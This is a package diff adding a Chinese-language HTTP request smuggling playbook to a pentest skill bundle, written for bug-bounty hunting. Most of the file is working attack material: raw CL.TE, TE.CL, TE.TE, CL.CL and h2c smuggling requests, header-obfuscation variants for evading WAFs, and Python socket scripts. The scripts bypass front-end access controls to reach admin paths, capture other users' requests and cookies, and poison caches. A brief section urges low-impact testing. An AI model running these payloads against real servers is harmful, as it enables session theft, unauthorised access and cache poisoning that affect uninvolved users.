opencode-skills-collection 4.0.42 → 4.0.44

package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md

@@ -0,0 +1,924 @@
+# HTTP Request Smuggling / HTTP/2 Desync
+
+> 视角：黑盒，目标是利用前后端解析差异
+
+## 1. 一句话说清
+
+前置代理（CDN / WAF / Nginx）和后端服务器对 `Content-Length` / `Transfer-Encoding` 解析不一致 →
+攻击者把"半包"塞进流，影响下个用户的请求/响应。
+SRC 价值：成功的 desync = P1/P0（$2k–$10k+）。
+
+---
+
+## 2. 类型速览
+
+| 类型 | 前置代理用 | 后端用 |
+|------|----------|------|
+| **CL.TE** | Content-Length | Transfer-Encoding |
+| **TE.CL** | Transfer-Encoding | Content-Length |
+| **TE.TE** | 都看，但前后处理混淆 | 同 |
+| **HTTP/2 → HTTP/1 desync** | h2 | h1 后端 |
+| **CL.0** | CL=0 后端忽略 | 后端读 body |
+
+---
+
+## 3. 探测手法
+
+### 3.1 工具
+
+```bash
+# Burp 扩展
+HTTP Request Smuggler
+
+# 命令行
+smuggler.py -u https://target -v
+http2smugl quirks --target target.com:443
+h2csmuggler -u https://target/ --path /admin
+```
+
+### 3.2 经典 PoC
+
+#### CL.TE
+
+```
+POST / HTTP/1.1
+Host: victim
+Content-Length: 6
+Transfer-Encoding: chunked
+
+0
+
+G
+```
+
+前端按 CL=6 读了 `0\r\n\r\nG`，后端按 chunked 看到 `0\r\n\r\n` 结束，剩下 `G` 进入下一个请求。
+
+#### TE.CL
+
+```
+POST / HTTP/1.1
+Host: victim
+Content-Length: 4
+Transfer-Encoding: chunked
+
+5c
+GPOST / HTTP/1.1
+...
+0
+
+```
+
+#### 双 CL
+
+```
+POST / HTTP/1.1
+Host: victim
+Content-Length: 4
+Content-Length: 1
+
+GPOST...
+```
+
+#### CL.0（HTTP/2 时常见）
+
+后端忽略 CL（POST 当 GET 处理），前端按 CL 取走 body → 走私。
+
+#### h2c smuggling
+
+```bash
+h2csmuggler -u http://target/ --path /admin
+# 利用 HTTP/1.1 → HTTP/2 升级让前置代理失效
+```
+
+---
+
+## 4. Bypass 矩阵
+
+| 拦 | 绕 |
+|---|---|
+| 标准 CL/TE 检测 | TE 大小写：`Transfer-encoding`、`transfer-Encoding` |
+| TE 拦 | TE 末尾加空格：`Transfer-Encoding : chunked` |
+| WAF 检测 | TE 值变形：`chunked`、`chunked,gzip`、`xchunked` |
+| 标准 chunk 拦 | 0 大小 chunk 后塞数据 |
+| h2 关闭 | h2c upgrade |
+
+---
+
+## 5. 利用提权 / 横向
+
+```
+1. 缓存投毒：让代理把恶意响应缓存为另一 URL
+2. 跨用户访问：把 admin 端点的响应"借"给下个用户
+3. 旁路 IP 限制：用走私走过 IP 校验
+4. 偷 secret：让别人的请求 + 自己的响应混合
+5. XSS（缓存了走私响应）
+```
+
+---
+
+## 6. 真实案例指纹
+
+- PortSwigger blog 系列（James Kettle）
+- Cloudflare / Akamai 多次披露
+- HackerOne H1 上 desync 报告 $5k–$30k
+
+通用指纹：
+- 同一连接发 2 个请求，第 2 个响应"看起来是别的请求的"
+- 偶尔 503 / 502 / 异常 status code
+- 代理日志和后端日志请求数对不上
+
+---
+
+## 7. 复现 / 证据要点
+
+### 7.1 PoC
+
+```
+# 在 Burp Repeater 用 raw 模式发送下面包（保留 CRLF）
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 6
+Transfer-Encoding: chunked
+
+0\r\n\r\nG
+
+# 立即第二个请求（同连接，Burp Repeater 同样栏）
+GET / HTTP/1.1
+Host: target.com
+
+→ 第二个响应应当反映前一次走私的 'G' 前缀
+```
+
+### 7.2 CVSS
+
+```
+HTTP smuggling → 缓存投毒          = 8.1 High
+HTTP smuggling → 旁路鉴权           = 9.1 Critical
+HTTP smuggling → 跨用户             = 8.1 High
+```
+
+---
+
+## 8. 不要做的事
+
+- **禁**：在生产上做大流量 desync 测试（影响他人请求）。低速、单次验证。
+- **禁**：把走私构造的恶意响应缓存到全站共享路径（其他用户会受影响）。在你自己的 cache key 上演示。
+- **禁**：实际偷取他人 cookie / token。看到 desync 现象即停。
+
+## H1 真实案例
+
+_共 38 份 HackerOne 已披露 High/Critical 报告命中本类，按 (赏金 + 投票×100) 排序取 Top 12_
+
+| Severity | $ | 程序 | 标题（点击看原报告） | 摘要 |
+|---|--:|---|---|---|
+| High | 20000 usd | PayPal | [Bypass for #488147 enables stored XSS on https://paypal.com/signin again](https://hackerone.com/reports/510152) | Bypass for #488147 enables stored XSS on https://paypal.com/signin again |
+| High | 18900 usd | PayPal | [Stored XSS on https://paypal.com/signin via cache poisoning](https://hackerone.com/reports/488147) | Stored XSS on https://paypal.com/signin via cache poisoning |
+| Critical | — | Slack | [Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies](https://hackerone.com/reports/737140) | Hi Slack Security Team! My name is Evan and I'm a first time bug hunter to your platform :) Because you guys were running a mon… |
+| High | — | LY Corporation | [Request smuggling on admin-official.line.me could lead to account takeover](https://hackerone.com/reports/740037) | Request smuggling on admin-official.line.me could lead to account takeover |
+| Critical | — | Eternal | [Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com](https://hackerone.com/reports/771666) | Intro Hi Zomato Security Team! My name is Evan Custodio and this is my first time evaluating your platform. I specialize in loo… |
+| Critical | 7500 usd | Basecamp | [HTTP Request Smuggling via HTTP/2](https://hackerone.com/reports/1211724) | HTTP Request Smuggling via HTTP/2 |
+| High | — | Helium | [HTTP request Smuggling](https://hackerone.com/reports/867952) | When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web … |
+| Critical | 6000 usd | Cloudflare Public Bug Bounty | [HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() func…](https://hackerone.com/reports/1478633) | HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() function |
+| High | 750 usd | GSA Bounty | [HTTP Request Smuggling on https://labs.data.gov](https://hackerone.com/reports/726773) | Greetings, The application appears to be vulnerable to HTTP request smuggling due to a disagreement between the front-end and b… |
+| High | 4660 usd | Internet Bug Bounty | [Possibility of Request smuggling attack](https://hackerone.com/reports/2280391) | Request smuggling was possible by throwing an IOException with the upper size limit of the trailer header |
+| High | — | Node.js | [HTTP Request Smuggling due to CR-to-Hyphen conversion](https://hackerone.com/reports/922597) | NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, th… |
+| Critical | 5000 usd | Aiven Ltd | [Grafana RCE via SMTP server parameter injection](https://hackerone.com/reports/1200647) | Summary: This report is similar to #1180653, except with different parameter injection entrypoint |
+
+**命中本类的 weakness 分布：**
+
+- HTTP Request Smuggling：27 条
+- CRLF Injection：5 条
+- Uncategorized → 手工归类：4 条
+- HTTP Response Splitting：2 条
+
+
+## Payload 库
+
+_4 个结构化 web payload，含完整攻击链 + WAF/EDR 绕过变体_
+
+### CL-TE请求走私  `smuggling-cl-te`
+Content-Length与Transfer-Encoding走私
+子类：**CL-TE** · tags: `smuggling` `request` `http`
+
+**前置条件：** 目标使用多层代理；前后端处理差异
+
+**攻击链：**
+
+**1. CL-TE基础**
+_CL-TE走私_
+```
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 13
+Transfer-Encoding: chunked
+
+0
+
+SMUGGLED
+```
+
+**2. TE-CL基础**
+_TE-CL走私_
+```
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 3
+Transfer-Encoding: chunked
+
+8
+SMUGGLED
+0
+```
+
+**3. TE-TE**
+_TE-TE走私_
+```
+POST / HTTP/1.1
+Host: target.com
+Transfer-Encoding: chunked
+Transfer-Encoding: x
+
+0
+
+SMUGGLED
+```
+
+**WAF/EDR 绕过变体：**
+
+**1. TE头混淆变体**
+_通过在Transfer-Encoding头中添加空格、制表符、换行符、多重头部、拼写变体等方式使前后端代理对该头的解析产生差异，触发请求走私_
+```
+# TE头混淆(使前/后端对TE解析不一致):
+Transfer-Encoding: chunked
+
+Transfer-Encoding : chunked
+
+Transfer-Encoding: xchunked
+
+Transfer-Encoding: chunked
+Transfer-Encoding: x
+
+Transfer-Encoding:[tab]chunked
+
+X: x
+Transfer-Encoding: chunked
+
+Transfer-Encoding
+: chunked
+```
+
+**2. Chunked扩展字段与CL-TE组合利用**
+_利用HTTP Chunked编码的扩展字段(分号后内容)干扰解析，或通过CL-0技巧使前端认为请求无体而后端继续处理走私的第二个请求_
+```
+# Chunked扩展字段(RFC允许的分号后扩展):
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 6
+Transfer-Encoding: chunked
+
+0;ext="injected"
+
+G
+
+# CL-0走私:
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 0
+Transfer-Encoding: chunked
+
+GET /admin HTTP/1.1
+Host: target.com
+```
+
+---
+
+### CL-CL走私  `smuggling-cl-cl`
+利用前端代理和后端服务器同时处理Content-Length头但对多个CL头的处理差异实现HTTP请求走私
+子类：**CL-CL** · tags: `smuggling` `cl-cl` `http`
+
+**前置条件：** 存在前端代理(如HAProxy/Nginx)+后端服务器架构；两端对Content-Length头的解析存在差异；理解HTTP请求走私原理
+
+**攻击链：**
+
+**1. 检测CL-CL走私条件**  _[linux]_
+_探测目标是否存在双CL走私条件_
+```
+# 检测前端代理类型:
+curl -sI "http://target.com/" | grep -iE "server:|via:|x-forwarded"
+
+# 发送包含两个Content-Length的请求:
+curl -v "http://target.com/"   -H "Content-Length: 6"   -H "Content-Length: 0"   -d "test12"
+
+# 观察响应:
+# - 如果正常返回: 可能只解析了一个CL
+# - 如果400/错误: 服务器拒绝多CL(安全)
+# - 如果部分处理: 存在走私可能
+```
+
+**2. CL-CL请求走私POC**
+_构造包含两个Content-Length的走私请求，将恶意请求注入到后端处理队列_
+```
+# Python POC - CL-CL走私
+import socket
+
+def smuggle_cl_cl(host, port):
+    payload = (
+        "POST / HTTP/1.1
+"
+        f"Host: {host}
+"
+        "Content-Length: 44
+"   # 前端使用这个CL
+        "Content-Length: 0
+"    # 后端使用这个CL
+        "
+"
+        "GET /admin HTTP/1.1
+"  # 走私的请求
+        f"Host: {host}
+"
+        "
+"
+    )
+    s = socket.socket()
+    s.connect((host, port))
+    s.send(payload.encode())
+    resp = s.recv(4096).decode(errors="ignore")
+    print(resp)
+    s.close()
+
+smuggle_cl_cl("target.com", 80)
+```
+
+**3. 利用CL-CL走私绕过前端访问控制**
+_利用CL-CL走私绕过前端代理的ACL访问限制访问/admin_
+```
+# 场景：前端限制/admin访问，通过走私绕过
+import socket
+
+def bypass_acl(host, port):
+    # 走私请求到/admin端点
+    smuggled = (
+        "GET /admin HTTP/1.1
+"
+        f"Host: {host}
+"
+        "
+"
+    )
+    content_length_real = len(smuggled)
+    
+    payload = (
+        "POST / HTTP/1.1
+"
+        f"Host: {host}
+"
+        f"Content-Length: {content_length_real}
+"
+        "Content-Length: 0
+"
+        "Connection: keep-alive
+"
+        "
+"
+        + smuggled
+    )
+    
+    s = socket.socket()
+    s.connect((host, port))
+    s.send(payload.encode())
+    # 接收两个响应
+    resp = s.recv(8192).decode(errors="ignore")
+    print("[Response 1 - Normal]")
+    print(resp[:500])
+    resp2 = s.recv(8192).decode(errors="ignore")
+    print("[Response 2 - Smuggled /admin]")
+    print(resp2[:500])
+    s.close()
+
+bypass_acl("target.com", 80)
+```
+
+**WAF/EDR 绕过变体：**
+
+**1. HTTP/2降级绕过**
+_利用HTTP/2到HTTP/1.1协议降级时前后端对请求边界解析不一致实现走私_
+```
+# HTTP/2 -> HTTP/1.1降级利用
+# 前端H2后端H1时的走私
+:method: POST
+:path: /
+:authority: target.com
+content-length: 0
+
+GET /admin HTTP/1.1
+Host: target.com
+
+# H2C升级走私
+GET / HTTP/1.1
+Host: target.com
+Upgrade: h2c
+HTTP2-Settings: <base64>
+Connection: Upgrade, HTTP2-Settings
+```
+
+**2. 连接复用操控**
+_通过双Content-Length头值差异和keep-alive连接复用在代理链中走私请求_
+```
+# 双CL值差异
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 6
+Content-Length: 50
+
+12345GPOST /admin HTTP/1.1
+Host: target.com
+
+# 利用keep-alive连接复用
+GET / HTTP/1.1
+Host: target.com
+Connection: keep-alive
+Content-Length: 0
+
+GET /admin HTTP/1.1
+Host: internal.target.com
+```
+
+**3. 代理链混淆**
+_利用多级代理对Content-Length头中空格和冒号处理差异实现请求走私_
+```
+# 多级代理CL处理差异
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 44
+Content-Length : 0
+
+GET /admin HTTP/1.1
+Host: target.com
+X: 1
+
+# 空格混淆CL头
+POST / HTTP/1.1
+Host: target.com
+ Content-Length: 0
+Content-Length: 42
+
+GET /internal HTTP/1.1
+Host: target.com
+```
+
+---
+
+### TE-CL走私  `smuggling-te-cl`
+利用前端使用Transfer-Encoding而后端使用Content-Length的差异实现HTTP请求走私
+子类：**TE-CL** · tags: `smuggling` `te-cl` `http`
+
+**前置条件：** 前端代理优先处理Transfer-Encoding；后端服务器优先处理Content-Length；理解chunked编码格式
+
+**攻击链：**
+
+**1. 检测TE-CL差异**
+_检测前端和后端对TE vs CL的优先级差异_
+```
+# 发送同时包含TE和CL的请求:
+curl -v "http://target.com/"   -H "Transfer-Encoding: chunked"   -H "Content-Length: 3"   -d "0
+
+"
+
+# 使用timing检测:
+# 如果后端使用CL，会等待更多数据(超时)
+import socket, time
+
+s = socket.socket()
+s.connect(("target.com", 80))
+payload = (
+    "POST / HTTP/1.1
+"
+    "Host: target.com
+"
+    "Transfer-Encoding: chunked
+"
+    "Content-Length: 6
+"
+    "
+"
+    "0
+
+"
+)
+s.send(payload.encode())
+start = time.time()
+resp = s.recv(4096)
+elapsed = time.time() - start
+print(f"Response in {elapsed:.2f}s")
+# 快速响应=后端用TE, 延迟响应=后端用CL
+```
+
+**2. TE-CL走私POC**
+_TE-CL走私：前端按chunked处理转发整个body，后端按CL只读取部分，剩余变为走私请求_
+```
+import socket
+
+def te_cl_smuggle(host, port):
+    # 前端(TE): 读取到"0
+
+"结束 → 整个payload是一个请求
+    # 后端(CL): 只读取Content-Length指定的字节 → 剩余字节是新请求
+    
+    smuggled = "GET /admin HTTP/1.1
+Host: {}
+
+".format(host)
+    
+    payload = (
+        "POST / HTTP/1.1
+"
+        "Host: {}
+"
+        "Content-Length: 4
+"
+        "Transfer-Encoding: chunked
+"
+        "
+"
+        "{}
+"
+        "{}"
+        "0
+
+"
+    ).format(host, format(len(smuggled), "x"), smuggled)
+    
+    s = socket.socket()
+    s.connect((host, port))
+    s.send(payload.encode())
+    resp = s.recv(4096)
+    print(resp.decode(errors="ignore")[:500])
+    s.close()
+
+te_cl_smuggle("target.com", 80)
+```
+
+**3. TE-CL走私实现请求劫持**
+_走私不完整的POST请求，使下一个用户的请求内容(含Cookie)被反射到搜索结果中_
+```
+# 利用走私劫持下一个用户的请求
+import socket
+
+def hijack_request(host, port):
+    # 走私一个不完整的POST请求
+    # 下一个正常用户的请求会被拼接为这个POST的body
+    smuggled = (
+        "POST /search HTTP/1.1
+"
+        "Host: {}
+"
+        "Content-Type: application/x-www-form-urlencoded
+"
+        "Content-Length: 200
+"  # 大CL会吞噬下一个请求
+        "
+"
+        "q="  # 下一个请求的数据会被当作搜索参数
+    ).format(host)
+    
+    chunk_size = format(len(smuggled), "x")
+    payload = (
+        "POST / HTTP/1.1
+"
+        "Host: {}
+"
+        "Content-Length: 4
+"
+        "Transfer-Encoding: chunked
+"
+        "
+"
+        "{}
+"
+        "{}"
+        "0
+
+"
+    ).format(host, chunk_size, smuggled)
+    
+    s = socket.socket()
+    s.connect((host, port))
+    s.send(payload.encode())
+    print(s.recv(4096).decode(errors="ignore")[:500])
+    s.close()
+
+hijack_request("target.com", 80)
+```
+
+**WAF/EDR 绕过变体：**
+
+**1. TE头大小写变体绕过**
+_利用不同代理对Transfer-Encoding头名大小写和值处理的差异绕过TE-CL走私检测_
+```
+# TE头大小写混淆
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 4
+Transfer-Encoding: chunked
+Transfer-encoding: identity
+
+5c
+GPOST /admin HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 15
+
+x=1
+0
+
+
+# Transfer-Encoding变体
+Transfer-Encoding: xchunked
+Transfer-Encoding : chunked
+Transfer-Encoding: chunked
+Transfer-Encoding: x
+```
+
+**2. 空白字符注入**
+_在Transfer-Encoding头中注入制表符、前导空格和CRLF字符，使不同代理解析不同_
+```
+# 制表符/换行注入TE头
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 4
+Transfer-Encoding:\tchunked
+
+# 行前空格混淆
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 4
+ Transfer-Encoding: chunked
+
+# CRLF注入变体
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 4
+Transfer-Encoding: chunked\x0d\x0aX-Ignore: x
+```
+
+**3. chunk扩展字段利用**
+_利用HTTP分块传输中chunk-extension字段和非标准chunk大小格式造成前后端解析差异_
+```
+# chunk扩展混淆
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 4
+Transfer-Encoding: chunked
+
+5;ext=val
+hello
+0
+
+
+# 超长chunk扩展
+5;aaaaaaa...aaaa=bbbb...bbb
+hello
+0
+
+
+# 非法chunk大小格式
+ 5
+hello
+0
+
+
+# 0x前缀
+0x5
+hello
+0
+```
+
+---
+
+### TE-TE走私  `smuggling-te-te`
+利用前端和后端对Transfer-Encoding头的不同混淆变体的处理差异实现请求走私
+子类：**TE-TE** · tags: `smuggling` `te-te` `http`
+
+**前置条件：** 前后端都支持Transfer-Encoding；可以通过TE头混淆使一端忽略TE；了解chunked编码和HTTP走私原理
+
+**攻击链：**
+
+**1. TE混淆变体探测**
+_测试各种Transfer-Encoding混淆变体，寻找前后端解析差异_
+```
+# Transfer-Encoding的各种混淆写法:
+# 测试哪种混淆能让一端忽略TE
+import socket
+
+te_variants = [
+    "Transfer-Encoding: xchunked",
+    "Transfer-Encoding : chunked",     # 冒号前空格
+    "Transfer-Encoding: chunked
+Transfer-encoding: cow",  # 两个TE
+    "Transfer-Encoding	: chunked",    # Tab分隔
+    "Transfer-Encoding: 	chunked",    # Tab前缀
+    " Transfer-Encoding: chunked",     # 行首空格
+    "X: x
+Transfer-Encoding: chunked",  # Header注入
+    "Transfer-Encoding: chunked\x00",  # 空字节
+]
+
+for i, te in enumerate(te_variants):
+    print(f"[{i}] Testing: {te[:60]}")
+    payload = (
+        "POST / HTTP/1.1
+"
+        "Host: target.com
+"
+        f"{te}
+"
+        "Content-Length: 5
+"
+        "
+"
+        "0
+
+"
+    )
+    try:
+        s = socket.socket()
+        s.settimeout(3)
+        s.connect(("target.com", 80))
+        s.send(payload.encode())
+        resp = s.recv(1024).decode(errors="ignore")
+        status = resp.split("
+")[0] if resp else "No response"
+        print(f"    → {status}")
+        s.close()
+    except Exception as e:
+        print(f"    → Error: {e}")
+```
+
+**2. TE-TE走私利用(前端忽略混淆TE)**
+_利用TE头混淆使一端按CL、另一端按TE处理，实现走私_
+```
+import socket
+
+def te_te_smuggle(host, port, te_header):
+    # 前端不识别混淆的TE → 使用CL
+    # 后端识别混淆的TE → 使用chunked
+    
+    smuggled = "GET /admin HTTP/1.1
+Host: {}
+
+".format(host)
+    
+    payload = (
+        "POST / HTTP/1.1
+"
+        "Host: {}
+"
+        "Content-Length: {}
+"
+        "{}
+"
+        "
+"
+        "0
+"
+        "
+"
+        "{}"
+    ).format(
+        host,
+        len("0
+
+" + smuggled),
+        te_header,
+        smuggled
+    )
+    
+    s = socket.socket()
+    s.connect((host, port))
+    s.send(payload.encode())
+    resp = s.recv(4096)
+    print(resp.decode(errors="ignore")[:500])
+    s.close()
+
+# 使用发现的有效混淆变体:
+te_te_smuggle("target.com", 80, "Transfer-Encoding: chunked
+Transfer-encoding: cow")
+```
+
+**3. TE-TE缓存投毒攻击**
+_利用TE-TE走私实现Web缓存投毒攻击_
+```
+import socket
+
+def cache_poison_via_smuggling(host, port):
+    # 通过走私实现缓存投毒:
+    # 走私的请求指向静态资源，但包含恶意响应头/内容
+    
+    smuggled = (
+        "GET /static/main.js HTTP/1.1
+"
+        "Host: {}
+"
+        "
+"
+    ).format(host)
+    
+    # 先发送走私请求
+    payload = (
+        "POST / HTTP/1.1
+"
+        "Host: {}
+"
+        "Content-Length: {}
+"
+        "Transfer-Encoding: chunked
+"
+        "Transfer-encoding: x
+"
+        "
+"
+        "0
+"
+        "
+"
+        "{}"
+    ).format(host, len("0
+
+" + smuggled), smuggled)
+    
+    s = socket.socket()
+    s.connect((host, port))
+    s.send(payload.encode())
+    resp = s.recv(4096)
+    print("[*] Cache poisoned")
+    print(resp.decode(errors="ignore")[:300])
+    s.close()
+
+cache_poison_via_smuggling("target.com", 80)
+```
+
+**WAF/EDR 绕过变体：**
+
+**1. 多重TE头混淆**
+_发送多个Transfer-Encoding头或逗号分隔多值，利用前后端对多值TE头的优先级差异_
+```
+# 多个Transfer-Encoding头
+POST / HTTP/1.1
+Host: target.com
+Transfer-Encoding: chunked
+Transfer-Encoding: identity
+Transfer-Encoding: chunked
+
+# 逗号分隔多值
+Transfer-Encoding: chunked, identity
+Transfer-Encoding: identity, chunked
+
+# 混合有效无效值
+Transfer-Encoding: chunked
+Transfer-Encoding: cow
+Transfer-Encoding: chunked
+```
+
+**2. 非标准TE值混淆**
+_使用非标准或被篡改的Transfer-Encoding值，使前端代理回退到CL而后端仍解析为chunked_
+```
+# 垃圾TE值使某些代理忽略TE
+Transfer-Encoding: xchunked
+Transfer-Encoding: chunked-false
+Transfer-Encoding: chunk
+Transfer-Encoding: CHUNKED
+
+# 引号包裹
+Transfer-Encoding: "chunked"
+
+# 参数附加
+Transfer-Encoding: chunked; q=0.5
+Transfer-Encoding: chunked, x
+
+# 编码混淆
+Transfer-\x45ncoding: chunked
+```
+
+**3. 代理特定解析绕过**
+_针对特定代理/服务器（HAProxy/Apache/Nginx）的TE头解析特性发送定制化走私payload_
+```
+# HAProxy特定绕过
+POST / HTTP/1.1
+Host: target.com
+Transfer-Encoding:[\x0b]chunked
+
+# Apache特定绕过
+POST / HTTP/1.1
+Host: target.com
+Transfer-Encoding:\x00chunked
+
+# Nginx特定绕过
+POST / HTTP/1.1
+Host: target.com
+Transfer-Encoding: chunked\x20
+
+# 通用尾部空白
+Transfer-Encoding: chunked
+```
+
+---